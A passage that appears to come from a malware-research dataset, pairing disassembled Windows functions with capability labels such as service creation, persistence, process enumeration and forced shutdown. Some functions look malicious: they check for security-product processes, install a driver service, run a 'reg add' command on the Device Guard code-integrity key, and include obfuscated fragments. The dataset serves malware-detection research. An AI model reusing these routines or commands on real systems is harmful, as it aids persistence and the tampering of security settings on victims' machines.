joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001e54
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2c0
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
xor r9d, r9d
lea r8, [rsp + 0xb0]
mov edx, 0x104
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180001030
lea rdx, [0x1800017a8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x80], 0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x180001ef2
xor eax, eax
jmp 0x180002093
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x180001fac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x3e5
je 0x180001fac
cmp dword [rsp + 0x88], 0x431
je 0x180001fac
xor eax, eax
jmp 0x180002093
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x78], rax
lea rax, str.need.dll
mov qword [rsp + 0xa0], rax
lea rax, [0x180005610]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x8c], 0x1bf52
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call fcn.180002c5c
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x18000202e
mov byte [rsp + 0x70], 1
jmp 0x180002033
mov byte [rsp + 0x70], 0
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x180002062
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0x420
je 0x180002062
xor eax, eax
jmp 0x180002093
cmp qword [rsp + 0x78], 0
je 0x180002075
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rsp + 0x80], 0
je 0x18000208e
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add rsp, 0x2c0
pop rdi
ret
Function at 0x18000209c
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2c0
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
xor r9d, r9d
lea r8, [rsp + 0xb0]
mov edx, 0x104
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180001030
lea rdx, [0x1800017a8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x80], 0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x18000213a
xor eax, eax
jmp 0x1800022e0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1800021f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x3e5
je 0x1800021f4
cmp dword [rsp + 0x88], 0x431
je 0x1800021f4
xor eax, eax
jmp 0x1800022e0
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x78], rax
lea rax, [0x1800055c0]
mov qword [rsp + 0xa0], rax
lea rax, [0x1800055d0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x8c], 0x1bf52
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call fcn.180002c5c
call fcn.180002fb4
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x18000227b
mov byte [rsp + 0x70], 1
jmp 0x180002280
mov byte [rsp + 0x70], 0
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x1800022af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0x420
je 0x1800022af
xor eax, eax
jmp 0x1800022e0
cmp qword [rsp + 0x78], 0
je 0x1800022c2
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rsp + 0x80], 0
je 0x1800022db
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add rsp, 0x2c0
pop rdi
ret
Function at 0x18000230c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rdx, qword [rsp + 0x290]
mov rcx, qword [0x1800081b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1800023b9
mov rax, qword [rsp + 0x290]
shr rax, 0x10
and rax, 0xffff
movzx eax, ax
test eax, eax
jne 0x18000237a
mov r8, qword [rsp + 0x290]
lea rdx, [0x180005408]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x290], rax
mov r8, qword [rsp + 0x290]
lea rdx, [0x180005410]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, 0x10
lea r8, str.AheadLibEx
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x20]
add rsp, 0x288
ret

Function at 0x180002618
Capabilities:
Enumerate processes
Execute command
Set registry value

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x180002656
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.360tray.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1800026ab
mov byte [rsp + 0x20], 1
jmp 0x1800026be
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000265b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1800026eb
call fcn.1800027d8
lea rcx, [0x1800057e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.180002fb4
jmp 0x1800026f0
call fcn.180002fe4
add rsp, 0x2a8
ret
Function at 0x1800026f8
Capabilities:
Enumerate processes
Execute command
Set registry value

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x180002736
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.360Tray.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x18000278b
mov byte [rsp + 0x20], 1
jmp 0x18000279e
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000273b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1800027cb
call fcn.1800027d8
lea rcx, str.reg_add__HKLMSYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity___v__Enabled___t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.180002fb4
jmp 0x1800027d0
call fcn.180002618
add rsp, 0x2a8
ret

Function at 0x180002e9c
Capabilities:
Get token membership

Disassembly:
push rbx
push rdi
sub rsp, 0x98
mov dword [rsp + 0x60], 0
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x180002f4c
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x180002f41
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], 0
je 0x180002fa5
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov eax, 1
xor ecx, ecx
cpuid
lea rdi, [rsp + 0x78]
mov dword [rdi], eax
mov dword [rdi + 4], ebx
mov dword [rdi + 8], ecx
mov dword [rdi + 0xc], edx
mov eax, 4
imul rax, rax, 2
mov eax, dword [rsp + rax + 0x78]
and eax, 0x20
test eax, eax
je 0x180002f98
call fcn.1800026f8
jmp 0x180002fa3
call fcn.180002fe4
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x180002faa
call fcn.180002570
add rsp, 0x98
pop rdi
pop rbx
ret

Function at 0x180002fb4
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x28
call fcn.180002d58
movzx eax, al
test eax, eax
je 0x180002fd8
mov edx, 0x40000
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x180002fdc
xor al, al
jmp 0x180002fde
mov al, 1
add rsp, 0x28
ret
Function at 0x180002fe4
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x180003022
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.epsrv.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180003077
mov byte [rsp + 0x20], 1
jmp 0x18000308a
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180003027
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1800030b3
lea rdx, [0x1800056d0]
lea rcx, [0x180005728]
call fcn.180001e54
jmp 0x1800030c6
lea rdx, str.C:_Windows_System32_drivers_WindowsAD.sys
lea rcx, str.WindowsADctl
call fcn.18000209c
add rsp, 0x2a8
ret

Function at 0x180003108
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x488
cmp dword [rsp + 0x4a8], 1
jne 0x180003263
mov rcx, qword [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.1800024bc
test eax, eax
je 0x180003261
call fcn.1800023c8
test eax, eax
je 0x180003261
lea rax, [rsp + 0x60]
lea rcx, str.vmtoolsd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7a]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x270]
call qword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x270]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x180003261
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180002598]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x38], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x48], rax
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x30]
call qword [rsp + 0x50]
cmp dword [rsp + 0x30], 0xa
jb 0x180003232
call fcn.180002e9c
jmp 0x18000324e
mov r9d, 0x30
lea r8, str.VMTools
lea rdx, str.Windows_Version_is_not_support_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp qword [rsp + 0x38], 0
je 0x180003261
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180003272
cmp dword [rsp + 0x4a8], 0
jne 0x180003272
call fcn.1800022ec
mov eax, 1
add rsp, 0x488
pop rdi
pop rsi
ret
Function at 0x934f81
Capabilities:
Encrypt data using rc4 prga

Disassembly:
inc rsi
xor bl, al
movsx rax, r15w
shr ah, 0x35
cwde
lea eax, [rbx - 0x41]
clc
cmp bh, 0x21
cmp al, 0x19
jmp 0x969467
xor r9b, bpl
call fcn.0094a69c
jle 0x936721
mov ecx, 0x24b9e10c
call fcn.0096a594
dec word [rsp + 2]
ror qword [rsp + 3], 0x3e
sbb r8b, 0x10
ror r8b, 1
inc r8b
neg byte [rsp + 2]
ror r8b, 1
neg byte [rsp + 7]
not r8b
sbb r8b, 0x8b
not word [rsp + 0xb]
neg r8b
shl qword [rsp + 2], 0xbe
dec qword [rsp + 0x10]
and al, 0x10
call fcn.0094db53
pop rbp
je 0x936739
cmp bl, dil
je 0x1243e84
cmp bl, dil
jmp 0x12493d4
jmp 0x9366d6
seta bpl
or r12b, r9b
and ebx, r14d
shl esi, cl
mov eax, ebp
sal bpl, 0x9a
test r12b, r8b
mov rbx, qword [rsp + 0x40]
bt di, 0xb9
or bpl, 0x33
sbb r12b, cl
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
movsxd r12, r9d
bswap r13w
pop r13
setnp r12b
pop r12
pop rdi
jmp 0x93c08f
ret
ja 0x950336
add dil, 0x20
test bl, bl
jmp 0x93672a
ja 0x969478
add bl, 0x20
shr al, 0x3f
sbb al, r15b
shr ah, cl
lea eax, [rdi - 0x41]
cmp bh, cl
cmc
test r12, 0xffffffff8f9e5615
cmp al, 0x19
jmp 0x95032c
movzx ebx, byte [r13]
not cx
movsx di, bpl
seto al
movzx edi, byte [r12]
movzx ax, r10b
movsx cx, r11b
inc r13
cmovl rcx, r15
movzx rcx, r14w
xchg cx, ax
inc r12
mov eax, 0xe3839816
btr ecx, 0x14
mov ecx, esi
cmc
stc
rol eax, cl
add al, sil
jmp 0x934f81
jae 0x93bb32
or eax, 0xffffffff
jmp 0x93bb47

Function at 0x936729
Capabilities:
Encrypt data using rc4 prga

Disassembly:
inc rsi
xor bl, al
movsx rax, r15w
shr ah, 0x35
cwde
lea eax, [rbx - 0x41]
clc
cmp bh, 0x21
cmp al, 0x19
jmp 0x969467
xor r9b, bpl
call fcn.0094a69c
jle 0x936721
mov ecx, 0x24b9e10c
call fcn.0096a594
dec word [rsp + 2]
ror qword [rsp + 3], 0x3e
sbb r8b, 0x10
ror r8b, 1
inc r8b
neg byte [rsp + 2]
ror r8b, 1
neg byte [rsp + 7]
not r8b
sbb r8b, 0x8b
not word [rsp + 0xb]
neg r8b
shl qword [rsp + 2], 0xbe
dec qword [rsp + 0x10]
and al, 0x10
call fcn.0094db53
pop rbp
je 0x936739
cmp bl, dil
je 0x1243e84
cmp bl, dil
jmp 0x12493d4
jmp 0x9366d6
seta bpl
or r12b, r9b
and ebx, r14d
shl esi, cl
mov eax, ebp
sal bpl, 0x9a
test r12b, r8b
mov rbx, qword [rsp + 0x40]
bt di, 0xb9
or bpl, 0x33
sbb r12b, cl
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
movsxd r12, r9d
bswap r13w
pop r13
setnp r12b
pop r12
pop rdi
jmp 0x93c08f
ret
ja 0x950336
add dil, 0x20
test bl, bl
jmp 0x93672a
ja 0x969478
add bl, 0x20
shr al, 0x3f
sbb al, r15b
shr ah, cl
lea eax, [rdi - 0x41]
cmp bh, cl
cmc
test r12, 0xffffffff8f9e5615
cmp al, 0x19
jmp 0x95032c
movzx ebx, byte [r13]
not cx
movsx di, bpl
seto al
movzx edi, byte [r12]
movzx ax, r10b
movsx cx, r11b
inc r13
cmovl rcx, r15
movzx rcx, r14w
xchg cx, ax
inc r12
mov eax, 0xe3839816
btr ecx, 0x14
mov ecx, esi
cmc
stc
rol eax, cl
add al, sil
jmp 0x934f81
jae 0x93bb32
or eax, 0xffffffff
jmp 0x93bb47
Function at 0x94be74
Capabilities:
Encrypt data using speck

Disassembly:
shl edi, 8
inc ecx
stc
test r15b, 0xbe
test r14b, dl
or edi, eax
jmp 0x123aaa4
ret
je 0x9563e1
movzx eax, byte [r9]
jmp 0x94be74
mov eax, r10d
bswap rbx
add rsp, 0x30
pop r15
movsx ebp, r10w
mov bx, 0x1a2e
movsx rdi, r10w
pop r14
movsx ebx, dx
bswap rbp
setp bh
pop r13
bswap edi
pop r12
movsx bx, sil
not bpl
mov bl, 0xa3
pop rdi
movsx bx, dil
cmovle bp, r13w
bswap ebp
pop rbp
movsxd rbx, r12d
cmovns bx, r10w
pop rbx
jmp 0x9505ac
sub rbx, 1
bts edx, edx
movzx ecx, byte [rbx + rdx*4 - 0x28c8a0d0]
call fcn.009558a8
invalid
and byte [rsp], 0x9b
rol r8b, 1
ror dword [rsp + 2], 0x8f
inc qword [rsp]
push 0xffffffff9a0bc70d
neg r8b
dec byte [rsp + 1]
je 0x9588ef
dec byte [rsp + 0xd]
xor bpl, r8b
lea r8, [rsp + r8 + 0x10]
mov qword [r8], rdx
push 0xffffffffa604e135
call fcn.0095fbdf
jl 0x12caa0d
mov qword [rsp + 0x28], rsi
nop
inc r9
cmp ecx, 5
jmp 0x96a3be
jp 0x12cca17
xor r8b, bpl
mov qword [rsp], 0xffffffff969e6384
shr dword [rsp], 0x4a
ror r8b, 1
inc r8b
not r8b
jmp 0x96a381
cmp r9, r13
jmp 0x955905
jns 0x1253f43
fnstenv [rdi]
mov dl, 0xa
invalid
Function at 0x1400065f0
Capabilities:
Create new key via cryptacquirecontext
Create thread
Enumerate gui resources
Get system information on windows
Parse pe header

Disassembly:
mov rdx, rcx
xor ecx, ecx
jmp sym.client.exe_AbsoluteClientMain
Function at 0x140009e5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009ea6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009ea6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009ea6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009ea6
cmp dword [rcx + 0x84], 0xe
jbe 0x140009ea6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009ea8
xor al, al
add rsp, 0x28
ret

Function at 0x140010d1c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010b18
Function at 0x140015b74
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140015ba4
xor eax, eax
jmp 0x140015c67
mov rbp, rbx
cmp word [rax], si
je 0x140015bc9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140015bb0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140015bac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140015a94
movsxd r14, eax
test eax, eax
jne 0x140015c07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140015b9d
mov rcx, r14
call fcn.140012430
mov rdi, rax
test rax, rax
jne 0x140015c20
xor ecx, ecx
call fcn.1400123f4
jmp 0x140015bfc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140015a94
test eax, eax
jne 0x140015c51
mov rcx, rdi
call fcn.1400123f4
jmp 0x140015c5b
xor ecx, ecx
call fcn.1400123f4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001c920
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001c948
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001c948
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001b110]
mov dword [rax], 1
mov rax, qword [0x14001b120]
mov dword [rax], 1
mov rax, qword [0x14001b130]
mov dword [rax], 1
mov rax, qword [0x14001b100]
mov dword [rax], 1
mov rax, qword [0x14001afb0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140002482
Capabilities:
Read file on windows

Disassembly:
push r13
push rbx
sub rsp, 0x38
mov r13, rcx
mov rcx, rdx
mov edx, 1
mov rbx, r8
mov r9, r13
call sub.msvcrt.dll_fread
cmp rbx, rax
je 0x1400024b6
mov rcx, r13
mov qword [rsp + 0x28], rax
call fcn.1400022e2
mov rax, qword [rsp + 0x28]
add rsp, 0x38
pop rbx
pop r13
ret

Function at 0x140002b1b
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
sub rsp, 0x28
xor r8d, r8d
mov r13, rcx
mov r12, rdx
test rdx, rdx
je 0x140002b3c
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, r12
mov r9, r13
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, r13
add rsp, 0x28
pop r12
pop r13
jmp fcn.14000c6f8

Function at 0x140004a02
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov r13, rcx
mov ecx, 2
call qword [fcn.14000ce30]
mov r8, qword [rsp + 0x28]
mov rcx, r13
